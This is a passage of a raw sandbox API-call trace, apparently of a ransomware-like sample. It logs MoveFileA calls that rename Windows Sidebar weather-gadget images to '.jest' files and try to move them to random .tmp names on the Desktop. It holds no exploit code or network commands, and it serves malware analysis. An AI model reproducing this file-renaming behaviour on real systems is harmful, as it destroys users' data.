lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.026] GetTickCount () returned 0x1152701 [0128.026] IsWindowVisible (hWnd=0x30268) returned 0 [0128.026] Sleep (dwMilliseconds=0x0) [0128.031] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\30.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\30.png.jest")) returned 0 [0128.033] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png", lpFilePart=0x18e6d8*="30.png") returned 0x4b [0128.033] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2225e4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2225e4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x57, dwReserved1=0x0, cFileName="30.png", cAlternateFileName="")) returned 0x143ce48 [0128.034] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.035] VarBstrFromR4 (in: fltIn=0x479445ef, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.87") returned 0x0 [0128.035] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.035] CoFreeUnusedLibraries () [0128.035] GetTickCount () returned 0x1152701 [0128.035] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.035] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.035] GetTickCount () returned 0x1152701 [0128.035] IsWindowVisible (hWnd=0x30268) returned 0 [0128.035] Sleep (dwMilliseconds=0x0) [0128.036] GetFullPathNameA (in: lpFileName="S64xtkx95lmMLNYz--PLe7lE zU6GdZrC7KxgQbzhd0QvaH3rfB1X2pbTmYbLonUMh_1O0_DUVrW_SKuOa8Pnkim9TSlXskWd8Uh.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S64xtkx95lmMLNYz--PLe7lE zU6GdZrC7KxgQbzhd0QvaH3rfB1X2pbTmYbLonUMh_1O0_DUVrW_SKuOa8Pnkim9TSlXskWd8Uh.tmp", lpFilePart=0x18e708*="S64xtkx95lmMLNYz--PLe7lE zU6GdZrC7KxgQbzhd0QvaH3rfB1X2pbTmYbLonUMh_1O0_DUVrW_SKuOa8Pnkim9TSlXskWd8Uh.tmp") returned 0x8e [0128.036] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png", lpFilePart=0x18e708*="30.png") returned 0x4b [0128.036] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\30.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S64xtkx95lmMLNYz--PLe7lE zU6GdZrC7KxgQbzhd0QvaH3rfB1X2pbTmYbLonUMh_1O0_DUVrW_SKuOa8Pnkim9TSlXskWd8Uh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s64xtkx95lmmlnyz--ple7le zu6gdzrc7kxgqbzhd0qvah3rfb1x2pbtmyblonumh_1o0_duvrw_skuoa8pnkim9tslxskwd8uh.tmp")) returned 0 [0128.038] GetLastError () returned 0x5 [0128.038] GetLastError () returned 0x5 [0128.038] SetLastError (dwErrCode=0x5) [0128.038] GetLastError () returned 0x5 [0128.038] SetLastError (dwErrCode=0x5) [0128.038] GetLastError () returned 0x5 [0128.038] SetLastError (dwErrCode=0x5) [0128.039] GetFullPathNameA (in: lpFileName="S64xtkx95lmMLNYz--PLe7lE zU6GdZrC7KxgQbzhd0QvaH3rfB1X2pbTmYbLonUMh_1O0_DUVrW_SKuOa8Pnkim9TSlXskWd8Uh.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S64xtkx95lmMLNYz--PLe7lE zU6GdZrC7KxgQbzhd0QvaH3rfB1X2pbTmYbLonUMh_1O0_DUVrW_SKuOa8Pnkim9TSlXskWd8Uh.tmp", lpFilePart=0x18e6e4*="S64xtkx95lmMLNYz--PLe7lE zU6GdZrC7KxgQbzhd0QvaH3rfB1X2pbTmYbLonUMh_1O0_DUVrW_SKuOa8Pnkim9TSlXskWd8Uh.tmp") returned 0x8e [0128.039] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S64xtkx95lmMLNYz--PLe7lE zU6GdZrC7KxgQbzhd0QvaH3rfB1X2pbTmYbLonUMh_1O0_DUVrW_SKuOa8Pnkim9TSlXskWd8Uh.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x78343653, cFileName="tkx95lmMLNYz--PLe7lE zU6GdZrC7KxgQbzhd0QvaH3rfB1X2pbTmYbLonUMh_1O0_DUVrW_SKuOa8Pnkim9TSlXskWd8Uh.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.039] GetLastError () returned 0x2 [0128.039] GetLastError () returned 0x2 [0128.039] SetLastError (dwErrCode=0x2) [0128.039] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.039] CoFreeUnusedLibraries () [0128.039] GetTickCount () returned 0x1152711 [0128.039] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.039] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.039] GetTickCount () returned 0x1152711 [0128.039] IsWindowVisible (hWnd=0x30268) returned 0 [0128.039] Sleep (dwMilliseconds=0x0) [0128.041] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\29.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\29.png.jest")) returned 0 [0128.042] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png", lpFilePart=0x18e6d8*="29.png") returned 0x4b [0128.042] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1fc485, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1fc485, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x57, dwReserved1=0x0, cFileName="29.png", cAlternateFileName="")) returned 0x143ce48 [0128.043] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.044] VarBstrFromR4 (in: fltIn=0x479445f1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.88") returned 0x0 [0128.045] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.045] CoFreeUnusedLibraries () [0128.045] GetTickCount () returned 0x1152711 [0128.045] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.045] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.045] GetTickCount () returned 0x1152711 [0128.045] IsWindowVisible (hWnd=0x30268) returned 0 [0128.045] Sleep (dwMilliseconds=0x0) [0128.046] GetFullPathNameA (in: lpFileName="DIoKPekxhJ HSvzgI_EbZaQJfu_IFpUIRecWQIHGDGYn9W3RLL3gnu6xBdyU6J63RjYOE_UXo8UgboH16yKrFF10br4uzM5qYxE.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DIoKPekxhJ HSvzgI_EbZaQJfu_IFpUIRecWQIHGDGYn9W3RLL3gnu6xBdyU6J63RjYOE_UXo8UgboH16yKrFF10br4uzM5qYxE.tmp", lpFilePart=0x18e708*="DIoKPekxhJ HSvzgI_EbZaQJfu_IFpUIRecWQIHGDGYn9W3RLL3gnu6xBdyU6J63RjYOE_UXo8UgboH16yKrFF10br4uzM5qYxE.tmp") returned 0x8d [0128.046] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png", lpFilePart=0x18e708*="29.png") returned 0x4b [0128.046] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\29.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DIoKPekxhJ HSvzgI_EbZaQJfu_IFpUIRecWQIHGDGYn9W3RLL3gnu6xBdyU6J63RjYOE_UXo8UgboH16yKrFF10br4uzM5qYxE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\diokpekxhj hsvzgi_ebzaqjfu_ifpuirecwqihgdgyn9w3rll3gnu6xbdyu6j63rjyoe_uxo8ugboh16ykrff10br4uzm5qyxe.tmp")) returned 0 [0128.048] GetLastError () returned 0x5 [0128.048] GetLastError () returned 0x5 [0128.048] SetLastError (dwErrCode=0x5) [0128.048] GetLastError () returned 0x5 [0128.048] SetLastError (dwErrCode=0x5) [0128.048] GetLastError () returned 0x5 [0128.048] SetLastError (dwErrCode=0x5) [0128.048] GetFullPathNameA (in: lpFileName="DIoKPekxhJ HSvzgI_EbZaQJfu_IFpUIRecWQIHGDGYn9W3RLL3gnu6xBdyU6J63RjYOE_UXo8UgboH16yKrFF10br4uzM5qYxE.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DIoKPekxhJ HSvzgI_EbZaQJfu_IFpUIRecWQIHGDGYn9W3RLL3gnu6xBdyU6J63RjYOE_UXo8UgboH16yKrFF10br4uzM5qYxE.tmp", lpFilePart=0x18e6e4*="DIoKPekxhJ HSvzgI_EbZaQJfu_IFpUIRecWQIHGDGYn9W3RLL3gnu6xBdyU6J63RjYOE_UXo8UgboH16yKrFF10br4uzM5qYxE.tmp") returned 0x8d [0128.048] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DIoKPekxhJ HSvzgI_EbZaQJfu_IFpUIRecWQIHGDGYn9W3RLL3gnu6xBdyU6J63RjYOE_UXo8UgboH16yKrFF10br4uzM5qYxE.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4b6f4944, cFileName="PekxhJ HSvzgI_EbZaQJfu_IFpUIRecWQIHGDGYn9W3RLL3gnu6xBdyU6J63RjYOE_UXo8UgboH16yKrFF10br4uzM5qYxE.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.049] GetLastError () returned 0x2 [0128.049] GetLastError () returned 0x2 [0128.049] SetLastError (dwErrCode=0x2) [0128.049] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.049] CoFreeUnusedLibraries () [0128.049] GetTickCount () returned 0x1152711 [0128.050] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.050] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.050] GetTickCount () returned 0x1152711 [0128.050] IsWindowVisible (hWnd=0x30268) returned 0 [0128.050] Sleep (dwMilliseconds=0x0) [0128.051] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\36.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\36.png.jest")) returned 0 [0128.053] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png", lpFilePart=0x18e6d8*="36.png") returned 0x4b [0128.053] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc294a01, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc294a01, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x57, dwReserved1=0x0, cFileName="36.png", cAlternateFileName="")) returned 0x143ce48 [0128.054] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.055] VarBstrFromR4 (in: fltIn=0x479445f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.9") returned 0x0 [0128.055] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.055] CoFreeUnusedLibraries () [0128.055] GetTickCount () returned 0x1152721 [0128.055] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.055] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.055] GetTickCount () returned 0x1152721 [0128.055] IsWindowVisible (hWnd=0x30268) returned 0 [0128.055] Sleep (dwMilliseconds=0x0) [0128.056] GetFullPathNameA (in: lpFileName="zhJdrE O3HoE-Z9MGb4eFPkXuHV RsuVQWhRAbseRTyRzwGz2YbpkHudxj1z OXwC5_MAoHcHIKv9 ykdfDoGoOxWHWlmweSO1AFB.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zhJdrE O3HoE-Z9MGb4eFPkXuHV RsuVQWhRAbseRTyRzwGz2YbpkHudxj1z OXwC5_MAoHcHIKv9 ykdfDoGoOxWHWlmweSO1AFB.tmp", lpFilePart=0x18e708*="zhJdrE O3HoE-Z9MGb4eFPkXuHV RsuVQWhRAbseRTyRzwGz2YbpkHudxj1z OXwC5_MAoHcHIKv9 ykdfDoGoOxWHWlmweSO1AFB.tmp") returned 0x8f [0128.057] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png", lpFilePart=0x18e708*="36.png") returned 0x4b [0128.057] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\36.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\36.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zhJdrE O3HoE-Z9MGb4eFPkXuHV RsuVQWhRAbseRTyRzwGz2YbpkHudxj1z OXwC5_MAoHcHIKv9 ykdfDoGoOxWHWlmweSO1AFB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zhjdre o3hoe-z9mgb4efpkxuhv rsuvqwhrabsertyrzwgz2ybpkhudxj1z oxwc5_maohchikv9 ykdfdogooxwhwlmweso1afb.tmp")) returned 0 [0128.059] GetLastError () returned 0x5 [0128.059] GetLastError () returned 0x5 [0128.059] SetLastError (dwErrCode=0x5) [0128.059] GetLastError () returned 0x5 [0128.059] SetLastError (dwErrCode=0x5) [0128.059] GetLastError () returned 0x5 [0128.059] SetLastError (dwErrCode=0x5) [0128.060] GetFullPathNameA (in: lpFileName="zhJdrE O3HoE-Z9MGb4eFPkXuHV RsuVQWhRAbseRTyRzwGz2YbpkHudxj1z OXwC5_MAoHcHIKv9 ykdfDoGoOxWHWlmweSO1AFB.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zhJdrE O3HoE-Z9MGb4eFPkXuHV RsuVQWhRAbseRTyRzwGz2YbpkHudxj1z OXwC5_MAoHcHIKv9 ykdfDoGoOxWHWlmweSO1AFB.tmp", lpFilePart=0x18e6e4*="zhJdrE O3HoE-Z9MGb4eFPkXuHV RsuVQWhRAbseRTyRzwGz2YbpkHudxj1z OXwC5_MAoHcHIKv9 ykdfDoGoOxWHWlmweSO1AFB.tmp") returned 0x8f [0128.060] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zhJdrE O3HoE-Z9MGb4eFPkXuHV RsuVQWhRAbseRTyRzwGz2YbpkHudxj1z OXwC5_MAoHcHIKv9 ykdfDoGoOxWHWlmweSO1AFB.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x644a687a, cFileName="rE O3HoE-Z9MGb4eFPkXuHV RsuVQWhRAbseRTyRzwGz2YbpkHudxj1z OXwC5_MAoHcHIKv9 ykdfDoGoOxWHWlmweSO1AFB.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.060] GetLastError () returned 0x2 [0128.060] GetLastError () returned 0x2 [0128.060] SetLastError (dwErrCode=0x2) [0128.060] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.061] CoFreeUnusedLibraries () [0128.061] GetTickCount () returned 0x1152721 [0128.061] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.061] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.061] GetTickCount () returned 0x1152721 [0128.061] IsWindowVisible (hWnd=0x30268) returned 0 [0128.061] Sleep (dwMilliseconds=0x0) [0128.062] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\32.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\32.png.jest")) returned 0 [0128.064] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png", lpFilePart=0x18e6d8*="32.png") returned 0x4b [0128.064] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc248743, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc248743, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x57, dwReserved1=0x0, cFileName="32.png", cAlternateFileName="")) returned 0x143ce48 [0128.065] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.066] VarBstrFromR4 (in: fltIn=0x479445f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.9") returned 0x0 [0128.067] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.067] CoFreeUnusedLibraries () [0128.067] GetTickCount () returned 0x1152721 [0128.067] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.067] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.067] GetTickCount () returned 0x1152721 [0128.067] IsWindowVisible (hWnd=0x30268) returned 0 [0128.067] Sleep (dwMilliseconds=0x0) [0128.069] GetFullPathNameA (in: lpFileName="Q1n_pW7ISfik1_CbIv39yvYkrGuP80jp3edU6bPzjrOMGqbF pNQ8whv74E8f8Ipv7w_dOZ-9Fc0KDgn19JdsEp24D0e9p_d4SID.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q1n_pW7ISfik1_CbIv39yvYkrGuP80jp3edU6bPzjrOMGqbF pNQ8whv74E8f8Ipv7w_dOZ-9Fc0KDgn19JdsEp24D0e9p_d4SID.tmp", lpFilePart=0x18e708*="Q1n_pW7ISfik1_CbIv39yvYkrGuP80jp3edU6bPzjrOMGqbF pNQ8whv74E8f8Ipv7w_dOZ-9Fc0KDgn19JdsEp24D0e9p_d4SID.tmp") returned 0x8e [0128.070] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png", lpFilePart=0x18e708*="32.png") returned 0x4b [0128.070] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\32.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q1n_pW7ISfik1_CbIv39yvYkrGuP80jp3edU6bPzjrOMGqbF pNQ8whv74E8f8Ipv7w_dOZ-9Fc0KDgn19JdsEp24D0e9p_d4SID.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q1n_pw7isfik1_cbiv39yvykrgup80jp3edu6bpzjromgqbf pnq8whv74e8f8ipv7w_doz-9fc0kdgn19jdsep24d0e9p_d4sid.tmp")) returned 0 [0128.073] GetLastError () returned 0x5 [0128.073] GetLastError () returned 0x5 [0128.073] SetLastError (dwErrCode=0x5) [0128.073] GetLastError () returned 0x5 [0128.073] SetLastError (dwErrCode=0x5) [0128.073] GetLastError () returned 0x5 [0128.073] SetLastError (dwErrCode=0x5) [0128.073] GetFullPathNameA (in: lpFileName="Q1n_pW7ISfik1_CbIv39yvYkrGuP80jp3edU6bPzjrOMGqbF pNQ8whv74E8f8Ipv7w_dOZ-9Fc0KDgn19JdsEp24D0e9p_d4SID.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q1n_pW7ISfik1_CbIv39yvYkrGuP80jp3edU6bPzjrOMGqbF pNQ8whv74E8f8Ipv7w_dOZ-9Fc0KDgn19JdsEp24D0e9p_d4SID.tmp", lpFilePart=0x18e6e4*="Q1n_pW7ISfik1_CbIv39yvYkrGuP80jp3edU6bPzjrOMGqbF pNQ8whv74E8f8Ipv7w_dOZ-9Fc0KDgn19JdsEp24D0e9p_d4SID.tmp") returned 0x8e [0128.073] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q1n_pW7ISfik1_CbIv39yvYkrGuP80jp3edU6bPzjrOMGqbF 